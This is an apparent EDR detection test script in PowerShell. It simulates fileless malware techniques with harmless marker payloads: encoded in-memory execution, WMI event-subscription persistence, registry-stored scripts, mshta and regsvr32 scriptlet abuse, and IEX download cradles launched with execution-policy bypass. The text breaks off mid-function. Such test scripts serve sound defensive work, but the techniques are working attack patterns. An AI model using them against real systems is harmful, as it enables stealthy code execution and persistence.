<#
.SYNOPSIS
Fileless Malware Detection Test Script for EDR Solutions
.DESCRIPTION
This script simulates fileless malware techniques to test EDR detection capabilities
IMPORTANT: Run only in controlled test environments with proper authorization.
.NOTES
Author: [Your Name]
Version: 1.0
Filename: FilelessMalwareTest.ps1
#>
# Script configuration
$TestingLocation = "$PWD\Fileless Malware"
$LogFile = "$TestingLocation\fileless_test_log.txt"
# Ensure testing directory exists
function Initialize-TestEnvironment {
if (-not (Test-Path $TestingLocation)) {
New-Item -ItemType Directory -Path $TestingLocation | Out-Null
}
"Fileless Malware Detection Testing Started: $(Get-Date)" | Out-File -FilePath $LogFile
"----------------------------------------" | Out-File -FilePath $LogFile -Append
}
# Log function
function Write-TestLog {
param (
[string]$TestName,
[string]$TestDescription,
[string]$Result
)
"Test: $TestName" | Out-File -FilePath $LogFile -Append
"Description: $TestDescription" | Out-File -FilePath $LogFile -Append
"Result: $Result" | Out-File -FilePath $LogFile -Append
"----------------------------------------" | Out-File -FilePath $LogFile -Append
}
# Test 1: Memory-Only PowerShell Script Execution
function Test-MemoryOnlyExecution {
$TestName = "Memory-Only PowerShell Execution"
$TestDescription = "Executes PowerShell script directly in memory without touching disk"
try {
# Create a harmless PowerShell script to run in memory
$scriptBlock = {
$proc = Get-Process
$sysInfo = Get-ComputerInfo
$env = Get-ChildItem Env:
$outputString = "Memory-Only Execution Test Completed Successfully"
return $outputString
}
# Convert to encoded command (simulates fileless technique of obfuscation)
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($scriptBlock.ToString()))
# Execute the script in memory
$result = powershell.exe -EncodedCommand $encodedCommand
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Completed: $result"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"
}
}
# Test 2: PowerShell Reflective Loading
function Test-ReflectiveLoading {
$TestName = "PowerShell Reflective Loading"
$TestDescription = "Uses .NET reflection to load and execute code in memory"
try {
# Create a PowerShell script that uses reflection to load an assembly
$reflectionScript = {
# Create a simple C# class in memory
$csharpCode = @'
using System;
using System.Diagnostics;
public class FilelessTest
{
public static string RunTest()
{
Process[] processes = Process.GetProcesses();
int count = processes.Length;
return "Reflective Loading Test: Found " + count + " running processes";
}
}
'@
# Load the C# code into memory using reflection
Add-Type -TypeDefinition $csharpCode -Language CSharp
# Execute the loaded code
[FilelessTest]::RunTest()
}
# Execute the reflection script
$result = Invoke-Command -ScriptBlock $reflectionScript
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Completed: $result"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"
}
}
# Test 3: WMI Persistence Test
function Test-WMIPersistence {
$TestName = "WMI Persistence"
$TestDescription = "Tests creating a WMI event subscription (common fileless persistence technique)"
try {
# Name for our test event filter and consumer
$eventFilterName = "EDRTest_Filter_$(Get-Random)"
$eventConsumerName = "EDRTest_Consumer_$(Get-Random)"
# Create a temporary VBS script for the WMI consumer action - just writes to our log file
$vbsContent = @"
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.OpenTextFile("$PWD\wmi_triggered.txt", 8, True)
objFile.WriteLine "WMI Event triggered at " & Now()
objFile.Close
"@
$vbsPath = "$PWD\temp_wmi_action.vbs"
$vbsContent | Out-File -FilePath $vbsPath -Force
# Create the WMI event filter (trigger)
$filterQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Second = 0"
$filter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = $eventFilterName
EventNamespace = 'root\cimv2'
QueryLanguage = 'WQL'
Query = $filterQuery
}
# Create the WMI event consumer (action)
$consumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{
Name = $eventConsumerName
ScriptingEngine = 'VBScript'
ScriptText = $vbsContent
}
# Bind them together
$binding = Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $filter
Consumer = $consumer
}
# Sleep a bit to ensure WMI registration
Start-Sleep -Seconds 2
# Clean up - remove the binding, filter, and consumer so we don't leave junk behind
$binding | Remove-WmiObject -ErrorAction SilentlyContinue
$filter | Remove-WmiObject -ErrorAction SilentlyContinue
$consumer | Remove-WmiObject -ErrorAction SilentlyContinue
# Remove the temporary VBS file
if (Test-Path $vbsPath) {
Remove-Item -Path $vbsPath -Force
}
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "WMI persistence test completed"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"
}
}
# Test 4: Registry-based Script Execution (Fileless Technique)
function Test-RegistryExecution {
$TestName = "Registry-based Script Execution"
$TestDescription = "Stores and executes a script from the registry without touching disk"
try {
# Registry location for our test
$regPath = "HKCU:\Software\EDRTest"
# Create the registry key if it doesn't exist
if (-not (Test-Path $regPath)) {
New-Item -Path $regPath -Force | Out-Null
}
# Create a simple PowerShell script to store in the registry
$testScript = @"
Write-Host "This is a test script executed from registry"
Get-Date | Out-File "$TestingLocation\registry_exec_test.txt"
"@
# Store the script in the registry
Set-ItemProperty -Path $regPath -Name "ScriptTest" -Value $testScript -Type String
# Read the script from registry and execute it via PowerShell
$regScript = Get-ItemProperty -Path $regPath -Name "ScriptTest" | Select-Object -ExpandProperty ScriptTest
$encodedCommand = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($regScript))
powershell.exe -EncodedCommand $encodedCommand
# Clean up registry key
Remove-Item -Path $regPath -Force -Recurse
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Registry-based execution completed"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"
}
}
# Test 5: Living Off The Land Fileless Techniques
function Test-LOLFileless {
$TestName = "Living Off The Land Fileless Techniques"
$TestDescription = "Uses native Windows tools to execute commands directly in memory"
try {
# Using mshta.exe to execute JavaScript directly (fileless)
$htaContent = @"
<html>
<head>
<script language="JScript">
var shell = new ActiveXObject("WScript.Shell");
var output = shell.Exec("cmd.exe /c echo LOLBIN Test > $TestingLocation\\lolbin_test.txt");
window.close();
</script>
</head>
<body>
HTA Test
</body>
</html>
"@
$htaPath = "$TestingLocation\temp_test.hta"
$htaContent | Out-File -FilePath $htaPath
# Execute the HTA
Start-Process -FilePath "mshta.exe" -ArgumentList $htaPath -NoNewWindow -Wait
# Using regsvr32 to run scriptlet (fileless technique)
$sctContent = @"
<?XML version="1.0"?>
<scriptlet>
<registration
description="EDRTest"
progid="EDRTest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo Regsvr32 SCT Test > $TestingLocation\\regsvr32_test.txt", 0, true);
]]>
</script>
</registration>
</scriptlet>
"@
$sctPath = "$TestingLocation\test.sct"
$sctContent | Out-File -FilePath $sctPath
# Execute the scriptlet using regsvr32
Start-Process -FilePath "regsvr32.exe" -ArgumentList "/s /u /i:$sctPath scrobj.dll" -NoNewWindow -Wait
# Clean up temporary files
Remove-Item -Path $htaPath -Force
Remove-Item -Path $sctPath -Force
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "LOLBIN fileless techniques executed"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"
}
}
# Test 6: PowerShell Download Cradle
function Test-DownloadCradle {
$TestName = "PowerShell Download Cradle"
$TestDescription = "Tests common PowerShell download and execute pattern"
try {
# Create a simple download cradle that accesses a real website
# Note: This doesn't actually execute any downloaded code, it just simulates the pattern
# Create several variations of download cradles
$cradles = @(
"IEX (New-Object Net.WebClient).DownloadString('https://example.com/')",
"(New-Object System.Net.WebClient).DownloadFile('https://example.com/', '$PWD\test_cradle.txt')",
"Invoke-WebRequest -Uri 'https://example.com' -OutFile '$PWD\test_webrequest.txt'"
)
foreach ($cradle in $cradles) {
# Convert to encoded command
$encodedCradle = [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($cradle))
# Execute the cradle (safely - doesn't actually run malicious code)
# Using -ExecutionPolicy Bypass to ensure the commands run despite potential restrictions
Start-Process -FilePath "powershell.exe" -ArgumentList "-ExecutionPolicy Bypass -NoProfile -EncodedCommand $encodedCradle" -NoNewWindow -Wait -ErrorAction SilentlyContinue
# Also log the cradle pattern for EDR to detect
$cradle | Out-File -FilePath "$PWD\cradle_pattern_test.txt" -Append
}
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Download cradle patterns tested"
}
catch {
Write-TestLog -TestName $TestName -TestDescription $TestDescription -Result "Failed: $_"